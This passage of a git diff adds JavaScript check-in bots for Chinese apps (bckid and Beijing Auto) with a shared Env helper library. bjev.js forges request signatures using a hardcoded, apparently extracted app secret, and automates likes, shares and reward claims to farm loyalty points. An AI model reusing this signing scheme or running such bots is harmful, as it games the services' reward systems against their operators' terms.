+ url: `https://api.bckid.com.cn/operation/front/bonus/userSign/v3/sign`,
+ headers: {
+ 'Host': 'api.bckid.com.cn',
+ 'authorization': user.authorization,
+ 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129',
+ },
+ data: {
+
+ }
+ };
+ //console.log(urlObject);
+ let { data: result} = await axios.request(urlObject)
+ if (result?.code == '200') {
+ //打印签到结果
+ DoubleLog(`🌸账号[${user.index}]` + `🕊当前已签到${result.body.signDaysCountMod}天🎉`);
+ }else{
+ DoubleLog(`🌸账号[${user.index}]签到-失败:${result.message}❌`)
+ }
+
+ } catch (e) {
+ //打印错误信息
+ console.log('以下是报错输出:');
+ console.log(e);
+ }
+}
+
+//积分查询
+async function GetUserPoint(user) {
+ try {
+ let urlObject = {
+ method: 'post',
+ url: `https://api.bckid.com.cn/operation/front/bonus/userBonus/getUserBonus`,
+ headers: {
+ 'Host': 'api.bckid.com.cn',
+ 'authorization': user.authorization,
+ 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129',
+ },
+ data: {
+
+ }
+ };
+ //console.log(urlObject);
+ let { data: result} = await axios.request(urlObject)
+ if (result?.code == '200') {
+ //打印签到结果
+ DoubleLog(`🌸账号[${user.index}]` + `🕊账户当前积分[${result.body.userBonus}],历史积分[${result.body.sumBonus}]💰`);
+ }else{
+ DoubleLog(`🌸账号[${user.index}]积分查询失败:${result.message}❌`)
+ }
+
+ } catch (e) {
+ //打印错误信息
+ console.log('以下是报错输出:');
+ console.log(e.response.data);
+ }
+}
+/**
+ * =========================================================发送消息=============================================
+ */
+async function SendMsg(message) {
+ if (!message) return;
+ if (Notify > 0) {
+ if ($.isNode()) {
+ var notify = require("./sendNotify");
+ await notify.sendNotify($.name, message);
+ } else {
+ // $.msg(message);
+ $.msg($.name, '', message)
+ }
+ } else {
+ console.log(message);
+ }
+}
+/**
+ * =====================================================双平台log输出==========================================
+ */
+function DoubleLog(data) {
+ if ($.isNode()) {
+ if (data) {
+ console.log(`${data}`);
+ msg += `\n${data}`;
+ }
+ } else {
+ console.log(`${data}`);
+ msg += `\n${data}`;
+ }
+
+}
+/**
+* ======================================================等待 X 秒============================================
+*/
+function wait(n) {
+ return new Promise(function (resolve) {
+ setTimeout(resolve, n * 1000);
+ });
+}
+/**
+* ======================================================随机等待 1-5 秒============================================
+*/
+function sjwait() {
+ return new Promise(function (resolve) {
+ let waitTime = Math.floor(Math.random() * 4000 + 1000);
+ setTimeout(resolve, waitTime);
+ });
+}
+// ==========================================================13位时间戳=====================================================
+function getTimestamp() {
+ return new Date().getTime();
+}
+//===============================================网络请求httpRequest=========================================
+function httpRequest(options, timeout = 1 * 1000) {
+ method = options.method ? options.method.toLowerCase() : options.body ? "post" : "get";
+ return new Promise(resolve => {
+ setTimeout(() => {
+ $[method](options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(JSON.stringify(err));
+ $.logErr(err);
+ } else {
+ try { data = JSON.parse(data); } catch (error) { }
+ }
+ } catch (e) {
+ console.log(e);
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ }, timeout)
+ })
+}
+//==============================================Debug模式===============================================
+function debugLog(...args) {
+ if (debug) {
+ console.log(...args);
+ }
+}
+//===============================================获取远程通知========================================
+async function getNotice() {
+ try {
+ const urls = [
+ "http://tfapi.cn/tl.json",
+
+ ];
+ let notice = null;
+ for (const url of urls) {
+ const options = { url, headers: { "User-Agent": "" }, };
+ const result = await httpRequest(options);
+ if (result && "notice" in result) {
+ notice = result.notice.replace(/\\n/g, "\n");
+ break;
+ }
+ }
+ if (notice) { $.DoubleLog(notice); }
+ } catch (e) {
+ console.log(e);
+ }
+}
+//==============================================获取远程版本=================================================
+function getVersion(scriptUrl, timeout = 3 * 1000) {
+ return new Promise((resolve) => {
+ const options = { url: `https://fastly.jsdelivr.net/gh/${scriptUrl}` };
+ $.get(options, (err, resp, data) => {
+ try {
+ const regex = /scriptVersionNow\s*=\s*(["'`])([\d.]+)\1/;
+ const match = data.match(regex);
+ const scriptVersionLatest = match ? match[2] : "";
+ console.log(`\n============= 当前版本:${scriptVersionNow} 🌟 最新版本:${scriptVersionLatest} =============`);
+ } catch (e) {
+ $.logErr(e, resp);
+ }
+ resolve();
+ }, timeout);
+ });
+}
+
+//===============================================================================================================================================
+//================================================固定API===============================================================================================
+function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return ("POST" === e && (s = this.post), new Promise((e, a) => { s.call(this, t, (t, s, r) => { t ? a(t) : e(s) }) })) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new (class { constructor(t, e) { this.userList = []; this.userIdx = 0; (this.name = t), (this.http = new s(this)), (this.data = null), (this.dataFile = "box.dat"), (this.logs = []), (this.isMute = !1), (this.isNeedRewrite = !1), (this.logSeparator = "\n"), (this.encoding = "utf-8"), (this.startTime = new Date().getTime()), Object.assign(this, e), this.log("", `🔔${this.name},开始!`) } getEnv() { return "undefined" != typeof $environment && $environment["surge-version"] ? "Surge" : "undefined" != typeof $environment && $environment["stash-version"] ? "Stash" : "undefined" != typeof module && module.exports ? "Node.js" : "undefined" != typeof $task ? "Quantumult X" : "undefined" != typeof $loon ? "Loon" : "undefined" != typeof $rocket ? "Shadowrocket" : void 0 } isNode() { return "Node.js" === this.getEnv() } isQuanX() { return "Quantumult X" === this.getEnv() } isSurge() { return "Surge" === this.getEnv() } isLoon() { return "Loon" === this.getEnv() } isShadowrocket() { return "Shadowrocket" === this.getEnv() } isStash() { return "Stash" === this.getEnv() } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const a = this.getdata(t); if (a) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise((e) => { this.get({ url: t }, (t, s, a) => e(a)) }) } runScript(t, e) { return new Promise((s) => { let a = this.getdata("@chavy_boxjs_userCfgs.httpapi"); a = a ? a.replace(/\n/g, "").trim() : a; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); (r = r ? 1 * r : 20), (r = e && e.timeout ? e.timeout : r); const [i, o] = a.split("@"), n = { url: `http://${o}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": i, Accept: "*/*" }, timeout: r, }; this.post(n, (t, e, a) => s(a)) }).catch((t) => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e); if (!s && !a) return {}; { const a = s ? t : e; try { return JSON.parse(this.fs.readFileSync(a)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : a ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const a = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of a) if (((r = Object(r)[t]), void 0 === r)) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), (e.slice(0, -1).reduce((t, s, a) => Object(t[s]) === t[s] ? t[s] : (t[s] = Math.abs(e[a + 1]) >> 0 == +e[a + 1] ? [] : {}), t)[e[e.length - 1]] = s), t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, a] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, a, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, a, r] = /^@(.*?)\.(.*?)$/.exec(e), i = this.getval(a), o = a ? ("null" === i ? null : i || "{}") : "{}"; try { const e = JSON.parse(o); this.lodash_set(e, r, t), (s = this.setval(JSON.stringify(e), a)) } catch (e) { const i = {}; this.lodash_set(i, r, t), (s = this.setval(JSON.stringify(i), a)) } } else s = this.setval(t, e); return s } getval(t) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.read(t); case "Quantumult X": return $prefs.valueForKey(t); case "Node.js": return (this.data = this.loaddata()), this.data[t]; default: return (this.data && this.data[t]) || null } } setval(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.write(t, e); case "Quantumult X": return $prefs.setValueForKey(t, e); case "Node.js": return ((this.data = this.loaddata()), (this.data[e] = t), this.writedata(), !0); default: return (this.data && this.data[e]) || null } } initGotEnv(t) { (this.got = this.got ? this.got : require("got")), (this.cktough = this.cktough ? this.cktough : require("tough-cookie")), (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), t && ((t.headers = t.headers ? t.headers : {}), void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = () => { }) { switch ((t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"], delete t.headers["content-type"], delete t.headers["content-length"]), this.getEnv())) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && ((t.headers = t.headers || {}), Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, a) => { !t && s && ((s.body = a), (s.statusCode = s.status ? s.status : s.statusCode), (s.status = s.statusCode)), e(t, s, a) }); break; case "Quantumult X": this.isNeedRewrite && ((t.opts = t.opts || {}), Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then((t) => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o, } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o, }, i, o) }, (t) => e((t && t.error) || "UndefinedError")); break; case "Node.js": let s = require("iconv-lite"); this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), (e.cookieJar = this.ckjar) } } catch (t) { this.logErr(t) } }).then((t) => { const { statusCode: a, statusCode: r, headers: i, rawBody: o, } = t, n = s.decode(o, this.encoding); e(null, { status: a, statusCode: r, headers: i, rawBody: o, body: n, }, n) }, (t) => { const { message: a, response: r } = t; e(a, r, r && s.decode(r.rawBody, this.encoding)) }) } } post(t, e = () => { }) { const s = t.method ? t.method.toLocaleLowerCase() : "post"; switch ((t.body && t.headers && !t.headers["Content-Type"] && !t.headers["content-type"] && (t.headers["content-type"] = "application/x-www-form-urlencoded"), t.headers && (delete t.headers["Content-Length"], delete t.headers["content-length"]), this.getEnv())) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && ((t.headers = t.headers || {}), Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient[s](t, (t, s, a) => { !t && s && ((s.body = a), (s.statusCode = s.status ? s.status : s.statusCode), (s.status = s.statusCode)), e(t, s, a) }); break; case "Quantumult X": (t.method = s), this.isNeedRewrite && ((t.opts = t.opts || {}), Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then((t) => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o, } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o, }, i, o) }, (t) => e((t && t.error) || "UndefinedError")); break; case "Node.js": let a = require("iconv-lite"); this.initGotEnv(t); const { url: r, ...i } = t; this.got[s](r, i).then((t) => { const { statusCode: s, statusCode: r, headers: i, rawBody: o, } = t, n = a.decode(o, this.encoding); e(null, { status: s, statusCode: r, headers: i, rawBody: o, body: n }, n) }, (t) => { const { message: s, response: r } = t; e(s, r, r && a.decode(r.rawBody, this.encoding)) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date(); let a = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in a) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? a[e] : ("00" + a[e]).substr(("" + a[e]).length))); return t } queryStr(t) { let e = ""; for (const s in t) { let a = t[s]; null != a && "" !== a && ("object" == typeof a && (a = JSON.stringify(a)), (e += `${s}=${a}&`)) } return (e = e.substring(0, e.length - 1)), e } msg(e = t, s = "", a = "", r) { const i = (t) => { switch (typeof t) { case void 0: return t; case "string": switch (this.getEnv()) { case "Surge": case "Stash": default: return { url: t }; case "Loon": case "Shadowrocket": return t; case "Quantumult X": return { "open-url": t }; case "Node.js": return }case "object": switch (this.getEnv()) { case "Surge": case "Stash": case "Shadowrocket": default: { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } case "Loon": { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } case "Quantumult X": { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl, a = t["update-pasteboard"] || t.updatePasteboard; return { "open-url": e, "media-url": s, "update-pasteboard": a, } } case "Node.js": return }default: return } }; if (!this.isMute) switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: $notification.post(e, s, a, i(r)); break; case "Quantumult X": $notify(e, s, a, i(r)); break; case "Node.js": }if (!this.isMuteLog) { let t = ["", "==============📣系统通知📣==============",]; t.push(e), s && t.push(s), a && t.push(a), console.log(t.join("\n")), (this.logs = this.logs.concat(t)) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: this.log("", `❗️${this.name},错误!`, t); break; case "Node.js": this.log("", `❗️${this.name},错误!`, t.stack) } } wait(t) { return new Promise((e) => setTimeout(e, t)) } DoubleLog(d) { if (this.isNode()) { if (d) { console.log(`${d}`); msg += `\n ${d}` } } else { console.log(`${d}`); msg += `\n ${d}` } } async SendMsg(m) { if (!m) return; if (Notify > 0) { if (this.isNode()) { var notify = require("./sendNotify"); await notify.sendNotify(this.name, m) } else { this.msg(this.name, "", m) } } else { console.log(m) } } done(t = {}) { const e = new Date().getTime(), s = (e - this.startTime) / 1e3; switch ((this.log("", `🔔${this.name},结束!🕛${s}秒`), this.log(), this.getEnv())) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: $done(t); break; case "Node.js": process.exit(1) } } })(t, e) }
+//Env rewrite:smallfawn Update-time:23-6-30 newAdd:DoubleLog & SendMsg
diff --git a/backup/GacmotorCookies.json b/backup/GacmotorCookies.json
new file mode 100644
index 00000000..8f8d6d5f
--- /dev/null
+++ b/backup/GacmotorCookies.json
@@ -0,0 +1,10 @@
+[
+ {
+ "AT": "",
+ "RT": ""
+ },
+ {
+ "AT": "",
+ "RT": ""
+ }
+]
diff --git a/backup/bjev.js b/backup/bjev.js
new file mode 100644
index 00000000..cab7e48c
--- /dev/null
+++ b/backup/bjev.js
@@ -0,0 +1,428 @@
+/**
+ * cron 45 21 * * * bjev.js
+ * Show:北京汽车 点赞每天5次 10分 签到10分 转发2次 20分 7天签到100分 30天1000分 半年5000 1年1W
+ * 合计1月2300分 商城最低价4900分 平均2个月换一次
+ * @author https://github.com/smallfawn/QLScriptPublic
+ * 变量名:bjevAuth
+ * 变量值:https://beijing-gateway-customer.app-prod.bjev.com.cn请求头Headers中Authorization 去掉Bearer 去掉Bearer 去掉Bearer
+ * scriptVersionNow = "0.0.1";
+ */
+
+const $ = new Env("北京汽车");
+const notify = $.isNode() ? require('../sendNotify') : '';
+let ckName = "bjevAuth";
+let envSplitor = ["@", "\n"]; //多账号分隔符
+let strSplitor = "&"; //多变量分隔符
+let userIdx = 0;
+let userList = [];
+class UserInfo {
+ constructor(str) {
+ this.index = ++userIdx;
+ this.ck = str.split(strSplitor)[0]; //单账号多变量分隔符
+ this.ckStatus = true;
+ this.artList = []//文章列表
+ this.taskList = []//任务列表
+ this.task_num_like = null //待做点赞任务数
+ this.task_num_share = null//待做转发任务数
+ this.userPoint = null
+
+ }
+ async main() {
+ $.log(`===== 开始第[${this.index}]个账号 =====`)
+ await this.user_info();
+ if (this.ckStatus) {
+ await this.user_point()
+ $.log(`✅运行前 - 积分[${this.userPoint}]🎉`)
+ await this.task_list()
+ if (this.taskList.length > 0) {
+ for (let task of this.taskList) {
+ //status == "0" 未完成
+ //status == "1" 待领取
+ //status == "2" 已完成
+ if (task.taskGroupCode == "ENTITY_LIKE") {
+ if (task.status == "0") {
+ this.task_num_like = Number(task.progressLimit) - Number(task.progress)
+ }
+ $.log(`点赞 ${task.progress} / ${task.progressLimit}`)
+ //点赞
+ } else if (task.taskGroupCode == "DAY_SIGN") {
+ if (task.status == "0") {
+ $.log(`检测未签到 执行签到`)
+ await this.addSign()
+ } else {
+ $.log(`签到已完成`)
+ }
+ //签到
+ } else if (task.taskGroupCode == "GET_TASK_ATTENTION" && task.status == "0") {
+ //被关注
+ } else if (task.taskGroupCode == "ENTITY_SHARE") {
+ if (task.status == "0") {
+ this.task_num_share = Number(task.progressLimit) - Number(task.progress)
+ }
+ $.log(`转发 ${task.progress} / ${task.progressLimit}`)
+ //转发
+ } else if (task.taskGroupCode == "GET_TASK_LIKE" && task.status == "0") {
+ //被点赞
+ }
+ }
+ if (this.task_num_like > 0 || this.task_num_share > 0) {
+ await this.art_list()
+ if (this.artList.length > 0) {
+ //点赞5次 转发2次
+ for (let i = 0; i < 5; i++) {
+ await this.task_like(this.artList[i])
+ await this.task_share(this.artList[i])
+ }
+ }
+
+ }
+ }
+ await this.task_list()
+ if (this.taskList.length > 0) {
+ for (let task of this.taskList) {
+ if (task.status == "1") {
+ await this.task_award(task.taskGroupCode)
+ }
+ }
+ }
+ await this.user_point()
+ $.log(`✅运行后 - 积分[${this.userPoint}]🎉`)
+
+ }
+
+
+
+ }
+
+
+ async addSign() {
+ try {
+ let options = {
+ fn: "签到",
+ method: "post",
+ url: `https://beijing-gateway-customer.app-prod.bjev.com.cn/beijing-zone-asset/exterior/userSignRecord/addSign?uuid_check=${this.get_uuid()}`,
+ body: JSON.stringify({}),
+ }
+ options.headers = this.get_headers(options.method, options.url, options.body)
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.code == 0) {
+ $.log(`✅[${options.fn}]成功🎉`)
+ } else {
+ console.log(`❌[${options.fn}]失败`);
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async user_info() {
+ try {
+ let options = {
+ fn: "信息查询",
+ method: "get",
+ url: `https://beijing-gateway-customer.app-prod.bjev.com.cn/beijing-zone-member/userCustomer/getUserInfo?buildVersion=138&uuid_check=${this.get_uuid()}`,
+ }
+ options.headers = this.get_headers(options.method, options.url)
+ //console.log(options);
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.code == "0") {
+ //console.log(`✅账号[${this.index}] 欢迎用户: ${result.errcode}🎉`);
+ $.log(`✅[${result.data.name}][${result.data.code}][${result.data.id}]🎉`)
+ this.ckStatus = true;
+ } else {
+ console.log(`❌[UserInfo]查询: 失败`);
+ this.ckStatus = false;
+ console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async user_point() {
+ try {
+ let options = {
+ fn: "积分查询",
+ method: "get",
+ url: `https://beijing-gateway-customer.app-prod.bjev.com.cn/beijing-zone-member/userCustomer/getPersonalCenter?uuid_check=${this.get_uuid()}`,
+ }
+ options.headers = this.get_headers(options.method, options.url)
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.code == "0") {
+ //console.log(`✅账号[${this.index}] 欢迎用户: ${result.errcode}🎉`);
+ this.userPoint = result.data.availableIntegral
+
+ } else {
+ console.log(`❌[积分查询]失败`);
+ this.ckStatus = false;
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async art_list() {
+ try {
+ let options = {
+ fn: "文章列表",
+ method: "get",
+ url: `https://beijing-gateway-customer.app-prod.bjev.com.cn/beijing-zone-dynamic/exterior/dynamic/list?isRecommend=1&pageIndex=2&pageSize=10&isHot=1&uuid_check=${this.get_uuid()}`,
+ }
+ options.headers = this.get_headers(options.method, options.url)
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.code == "0") {
+ //领取成功
+ //console.log(`✅[文章列表]成功`)
+ for (let artId of result.data.dataList) {
+ console.log(artId.liked)
+ if (artId.liked == "-1") {//判断未点赞的
+ this.artList.push(artId.id)
+
+ }
+
+ }
+ } else {
+ console.log(`❌[${options.fn}]失败`)
+ console.log(JSON.stringify(result))
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async task_like(entityId) {
+ try {
+ let options = {
+ fn: "点赞",
+ method: "post",
+ url: `https://beijing-gateway-customer.app-prod.bjev.com.cn/beijing-zone-dynamic/exterior/interact/like?uuid_check=${this.get_uuid()}`,
+ body: JSON.stringify({ "entityId": entityId, "listUid": "f4a67e8f-525d-4846-b1b4-52c7d6d67dab", "type": 2 })
+ }
+ options.headers = this.get_headers(options.method, options.url, options.body)
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.code == "0") {
+ //领取成功
+ console.log(`✅[${options.fn}]成功`)
+ } else {
+ console.log(`❌[${options.fn}]失败`)
+ console.log(JSON.stringify(result))
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async task_share(entityId) {
+ //number
+ try {
+ let options = {
+ fn: "分享",
+ method: "post",
+ url: `https://beijing-gateway-customer.app-prod.bjev.com.cn/beijing-zone-dynamic/exterior/interact/dynamic/share?uuid_check=${this.get_uuid()}`,
+ body: JSON.stringify({ "entityId": entityId })
+ }
+ options.headers = this.get_headers(options.method, options.url, options.body)
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.code == "0") {
+ //领取成功
+ console.log(`✅[${options.fn}]成功`)
+ } else {
+ console.log(`❌[${options.fn}]失败`)
+ console.log(JSON.stringify(result))
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async task_award(taskGroupCode) {
+ try {
+ let options = {
+ fn: "领取奖励",
+ method: "post",
+ url: `https://beijing-gateway-customer.app-prod.bjev.com.cn/beijing-zone-asset/exterior/userTaskProgress/receiveAward?uuid_check=${this.get_uuid()}`,
+ body: JSON.stringify({ "taskGroupCode": taskGroupCode })
+ }
+ options.headers = this.get_headers(options.method, options.url, options.body)
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.code == "0") {
+ //领取成功
+ $.log(`✅领取成功 获得[${result.data}]分`)
+ } else {
+ console.log(`❌[${options.fn}]失败`)
+ console.log(JSON.stringify(result))
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async task_list() {
+ try {
+ let options = {
+ fn: "任务列表",
+ method: "get",
+ url: `https://beijing-gateway-customer.app-prod.bjev.com.cn/beijing-zone-asset/exterior/userTaskProgress/selectTaskForMemberCenter?uuid_check=${this.get_uuid()}`,
+ }
+ options.headers = this.get_headers(options.method, options.url)
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.code == "0") {
+ this.taskList = result.data[1].items
+
+ } else {
+ console.log(`❌[${options.fn}]失败`);
+
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ sha256(str) {
+ const crypto = require("crypto");
+ return crypto.createHash("sha256").update(str).digest("hex");
+
+ }
+ get_headers(method, url, body = "") {
+ url = url.replace("https://beijing-gateway-customer.app-prod.bjev.com.cn", "")
+ let path = url.split('?')[0]
+ let params = url.split('?')[1].split('&').sort().join("").toLowerCase()
+ method = method.toUpperCase();
+ let timestamp = new Date().getTime()
+ const key = `162e31f57f928bb34df22f99f04875de`
+ let str
+ if (method == "POST") {
+ str = `${method}${path}ice-auth-appkey:6164883796ice-auth-timestamp:${timestamp}json=${body}${params}${key}`
+ } else {
+ str = `${method}${path}ice-auth-appkey:6164883796ice-auth-timestamp:${timestamp}${params}${key}`
+
+ } const sign = this.sha256(encodeURIComponent(str))
+ return {
+ "Content-Type": "application/json;charset=UTF-8",
+ "User-Agent": "(Android 10; Xiaomi MI 8 Lite Build/V12.0.1.0.QDTCNXM 3.13.1 138 release bjApp baic-app-android)",
+ "versionInfo": "(Android 10; Xiaomi MI 8 Lite Build/V12.0.1.0.QDTCNXM 3.13.1 138 release bjApp baic-app-android)",
+ "Cache-Control": "no-cache",
+ "Authorization": `Bearer ` + this.ck,
+ //"userId": "",
+ "appKey": 6164883796,
+ "ice-auth-appkey": 6164883796,
+ "ice-auth-timestamp": timestamp,
+ "ice-auth-sign": sign,
+ "Content-Type": "application/json;charset=UTF-8",
+ "Host": "beijing-gateway-customer.app-prod.bjev.com.cn",
+ "Connection": "Keep-Alive",
+ "Accept-Encoding": "gzip"
+ }
+ }
+ get_uuid() {
+ return 'xxxxxxxx-xxxx-xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) {
+ var r = Math.random() * 16 | 0,
+ v = c == 'x' ? r : (r & 0x3 | 0x8);
+ return v.toString(16);
+ });
+ }
+}
+
+async function start() {
+ let taskall = [];
+ for (let user of userList) {
+ if (user.ckStatus) {
+ taskall.push(await user.main());
+ }
+ }
+ await Promise.all(taskall);
+ $.msg($.name, `任务已完成`)
+}
+
+!(async () => {
+ if (!(await checkEnv())) return;
+ if (userList.length > 0) {
+ await start();
+ }
+
+ await SendMsg($.logs.join("\n"))
+})()
+ .catch((e) => console.log(e))
+ .finally(() => $.done());
+
+//********************************************************
+/**
+ * 变量检查与处理
+ * @returns
+ */
+async function checkEnv() {
+ let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || "";
+ if (userCookie) {
+ let e = envSplitor[0];
+ for (let o of envSplitor)
+ if (userCookie.indexOf(o) > -1) {
+ e = o;
+ break;
+ }
+ for (let n of userCookie.split(e)) n && userList.push(new UserInfo(n));
+ } else {
+ console.log("未找到CK");
+ return;
+ }
+ return console.log(`共找到${userList.length}个账号`), true; //true == !0
+}
+
+/////////////////////////////////////////////////////////////////////////////////////
+function httpRequest(options) {
+ if (!options["method"]) {
+ return console.log(`请求方法不存在`);
+ }
+ if (!options["fn"]) {
+ console.log(`函数名不存在`);
+ }
+ return new Promise((resolve) => {
+ $[options.method](options, (err, resp, data) => {
+ try {
+ if (err) {
+ $.logErr(err);
+ } else {
+ try {
+ resp = JSON.parse(resp);
+ } catch (error) { }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(resp);
+ }
+ });
+ });
+}
+async function SendMsg(message) {
+ if (!message) return;
+ if ($.isNode()) {
+ await notify.sendNotify($.name, message)
+ } else {
+ $.msg($.name, '', message)
+ }
+}
+// prettier-ignore
+function Env(t, s) { return new (class { constructor(t, s) { (this.name = t), (this.data = null), (this.dataFile = "box.dat"), (this.logs = []), (this.logSeparator = "\n"), (this.startTime = new Date().getTime()), Object.assign(this, s), this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } getScript(t) { return new Promise((s) => { this.get({ url: t }, (t, e, i) => s(i)) }) } runScript(t, s) { return new Promise((e) => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let o = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); (o = o ? 1 * o : 20), (o = s && s.timeout ? s.timeout : o); const [h, a] = i.split("@"), r = { url: `http://${a}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: o }, headers: { "X-Key": h, Accept: "*/*" }, }; this.post(r, (t, s, i) => e(i)) }).catch((t) => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), s = this.path.resolve(process.cwd(), this.dataFile), e = this.fs.existsSync(t), i = !e && this.fs.existsSync(s); if (!e && !i) return {}; { const i = e 